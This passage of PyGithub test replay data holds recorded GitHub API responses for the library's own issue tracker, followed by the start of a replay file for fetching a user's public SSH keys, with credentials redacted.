`api.github.com`.\n\nCuriously, if the percent character is followed by two hex digits, eg `%2F` then the request succeeds. In this case, the `%2F` is not url-decoded: it remains as `%2F` in the body text of the issue, not as a slash `/`.\n\nThis looks like it could be GitHub's issue: eg, their API is enforcing urlencoded input but is not actually decoding it.\n\nWhatever the case, it is impossible to create an issue using PyGithub that contains text like “works 25% of the time”."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143/events","html_url":"https://github.com/jacquev6/PyGithub/issues/143","id":11731917,"number":143,"title":"Version 1.12.2 does not work with Python 3(.3) because of 2to3 issues","user":{"login":"ptwobrussell","id":98668,"avatar_url":"https://secure.gravatar.com/avatar/322a50ffdb98591460f05015770b7adb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"322a50ffdb98591460f05015770b7adb","url":"https://api.github.com/users/ptwobrussell","html_url":"https://github.com/ptwobrussell","followers_url":"https://api.github.com/users/ptwobrussell/followers","following_url":"https://api.github.com/users/ptwobrussell/following{/other_user}","gists_url":"https://api.github.com/users/ptwobrussell/gists{/gist_id}","starred_url":"https://api.github.com/users/ptwobrussell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ptwobrussell/subscriptions","organizations_url":"https://api.github.com/users/ptwobrussell/orgs","repos_url":"https://api.github.com/users/ptwobrussell/repos","events_url":"https://api.github.com/users/ptwobrussell/events{/privacy}","received_events_url":"https://api.github.com/users/ptwobrussell/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":13,"created_at":"2013-03-06T20:48:02Z","updated_at":"2013-03-21T21:00:47Z","closed_at":"2013-03-21T21:00:47Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"In trying to pip install PyGithub with Python 3.3 just now, I see the following in the console:\r\n\r\nDownloading/unpacking PyGithub\r\n Downloading PyGithub-1.12.2.tar.gz (1.6MB): 1.6MB downloaded\r\n Running setup.py egg_info for package PyGithub\r\n \r\nInstalling collected packages: PyGithub\r\n Running setup.py install for PyGithub\r\n Fixing build/lib/github/__init__.py build/lib/github/AuthenticatedUser.py \r\n\r\n...\r\n\r\n File \"/Users/matthew/virtual-environments/mtsw2e/lib/python3.3/site-packages/github/AuthenticatedUser.py\", line 16\r\n from . import github.GithubObject\r\n ^\r\n SyntaxError: invalid syntax\r\n\r\n .... more of the same errors ...\r\n\r\nIn looking at the source on GitHub for this version (such as https://github.com/jacquev6/PyGithub/blob/v1.12.2/github/UserKey.py), it appears that you are just doing straight imports as \"import github.X\" which is causing 2to3 to produce invalid imports when it rewrites."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80/events","html_url":"https://github.com/jacquev6/PyGithub/issues/80","id":6807542,"number":80,"title":"Assertion Failure ??","user":{"login":"mnsanghvi","id":1726664,"avatar_url":"https://secure.gravatar.com/avatar/e409b9dc39edbc7c61c36de28d16cc84?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e409b9dc39edbc7c61c36de28d16cc84","url":"https://api.github.com/users/mnsanghvi","html_url":"https://github.com/mnsanghvi","followers_url":"https://api.github.com/users/mnsanghvi/followers","following_url":"https://api.github.com/users/mnsanghvi/following{/other_user}","gists_url":"https://api.github.com/users/mnsanghvi/gists{/gist_id}","starred_url":"https://api.github.com/users/mnsanghvi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mnsanghvi/subscriptions","organizations_url":"https://api.github.com/users/mnsanghvi/orgs","repos_url":"https://api.github.com/users/mnsanghvi/repos","events_url":"https://api.github.com/users/mnsanghvi/events{/privacy}","received_events_url":"https://api.github.com/users/mnsanghvi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12/labels","id":172499,"number":12,"title":"Version 1.7","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-09-10T04:25:53Z","updated_at":"2012-09-12T19:40:27Z","due_on":"2012-09-14T07:00:00Z"},"comments":15,"created_at":"2012-09-12T02:07:44Z","updated_at":"2012-09-12T20:48:51Z","closed_at":"2012-09-12T19:28:02Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"``` python\n>>> from github import Github\n>>> gh = Github( \"login\", \"password\", \"base_url\")\n>>> for repo in gh.get_user().get_repos():\n... print repo.name\n...\nrepo1\nrepo2\nmy-person-linux-kernel-repo\nthe-secret-macosx-repo\n\n>>> for repo in gh.get_organization( org_name ).get_repos():\n... print repo.name\n...\n \nTraceback (most recent call last):\n File \"\", line 1, in \n File \"build/bdist.macosx-10.7-intel/egg/github/Organization.py\", line 311, in get_repos\n File \"build/bdist.macosx-10.7-intel/egg/github/Requester.py\", line 60, in requestAndCheck\n File \"build/bdist.macosx-10.7-intel/egg/github/Requester.py\", line 76, in requestRaw\nAssertionError\n\n```\n\nIs this because of my lack of knowledge about python, or is there something else going on here ? \n\nWhat I would like to do is be able to get a list of the hooks in all the repos in an organization and also go through that list of repos in an organization and be able to create hooks. \n\n\n"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77/events","html_url":"https://github.com/jacquev6/PyGithub/issues/77","id":6780606,"number":77,"title":"No ability to fetch specific page with search api","user":{"login":"kukuts","id":1831238,"avatar_url":"https://secure.gravatar.com/avatar/9be6ba907be1740213b69422fdf52b57?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9be6ba907be1740213b69422fdf52b57","url":"https://api.github.com/users/kukuts","html_url":"https://github.com/kukuts","followers_url":"https://api.github.com/users/kukuts/followers","following_url":"https://api.github.com/users/kukuts/following{/other_user}","gists_url":"https://api.github.com/users/kukuts/gists{/gist_id}","starred_url":"https://api.github.com/users/kukuts/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kukuts/subscriptions","organizations_url":"https://api.github.com/users/kukuts/orgs","repos_url":"https://api.github.com/users/kukuts/repos","events_url":"https://api.github.com/users/kukuts/events{/privacy}","received_events_url":"https://api.github.com/users/kukuts/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12/labels","id":172499,"number":12,"title":"Version 1.7","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-09-10T04:25:53Z","updated_at":"2012-09-12T19:40:27Z","due_on":"2012-09-14T07:00:00Z"},"comments":16,"created_at":"2012-09-11T03:44:18Z","updated_at":"2012-09-12T19:24:37Z","closed_at":"2012-09-12T19:24:37Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"legacy_search_repos - keyword and language but no start_page parameter\nHow to get eg 3rd page right?"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetKeys.txt0000644000175100001660000000457114756101563024621 0ustar00runnerdockerhttps GET api.github.com None /user/keys {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('content-length', '1968'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"753b62ed1eedc0d39ebd312719104dd1"'), ('date', 'Sat, 26 May 2012 20:18:14 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/user/keys/688586","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC262QAZ3rvJ7KySFEHUQYGfntylusL03x/ULKdVaSltc3Z2xvWm4zQSLHrWrdUbRN9z9kMpHWZZ2G+pvUPcY/qijbqtwg9FwBHNZoviq65LujKyQeegFXQKhGGaesDeKKC+jTXbg2NJY6+u5HLe4Je8q45VVHyAfltcuSE2QoCim50toyGUGWhcIDz/2mQYpy1wtkehQA6TeC55UE00TSU06E9glnqVi8hjDlsA7DABqyctG/sjP79OwUMBppiXYX2B0RJMtRHZ+5chsHx8oqavux1oG/tdTw9ZSAfKUHfDrN97x9PB38F3j8s60S2udRwLEYuErlF1JizTF4XOZhD","verified":true,"title":"vincent@home","id":688586},{"url":"https://api.github.com/user/keys/688598","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3CG7CI2EKMS6xeHgj1lC9tkjDJRotG9ZB7E/YbMy0l15I+ReiM5cQvYhivK2myJh7uiMBPa/VjowhZb7DvitZF8aUa99zHCygKDvN/XBl2nMEY8A01BmG6/JGlP1fgU1HdbULn1E6j0a+mYIFlpDzOFKTJqR25OzngOFC4VYiPVnoyH+uPZWWeOMPgdiJxAEWKs267OjXeikYfYE2xQN9M3a1EHitkwWOeVNKIqDTxoAU8f+Ifl4Cchq4mF56pWETSsj4hQ9YhXtzI8Grun0ZoYZM/cLPLo5rSi++FAJNU2T9yc/0G75DKEYH9UroLSQBua7KF+ixrIEtD6hI4gxDQ==","verified":true,"title":"vincent@gandi","id":688598},{"url":"https://api.github.com/user/keys/2403448","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK+jbASXi+PhE7GpBuKEH0qC+02J8L20A9CscleT5GUXKpZSbvxmsU0XLz95kYIBVUfrmTdn3PBn6FMK2OTWpxF9gt9DKclidkv2xfA1RkqnNVpMvZbzBMDmJcWo/lae+arQVJ26O1pbZjPH56c0cYvhblsoZnI1kCFatiJ3MOUeD2zCDylsfQ8zgLKA5yj0HRC3n5cPe9nIVWXnJQ1two4GHmxE7zue+hikYB7PQvaldGKTmHX04ODyZpyFOd86cvjiftN3G39POr2vh52jBwj4oLAiF89SC3QxQes8+zF00jOmnFUlONup0nLvJg4t/ij0M2kr5cqca7pMP+QfZp","verified":true,"title":"vincent@aws","id":2403448},{"url":"https://api.github.com/user/keys/2427679","key":"ssh-rsa 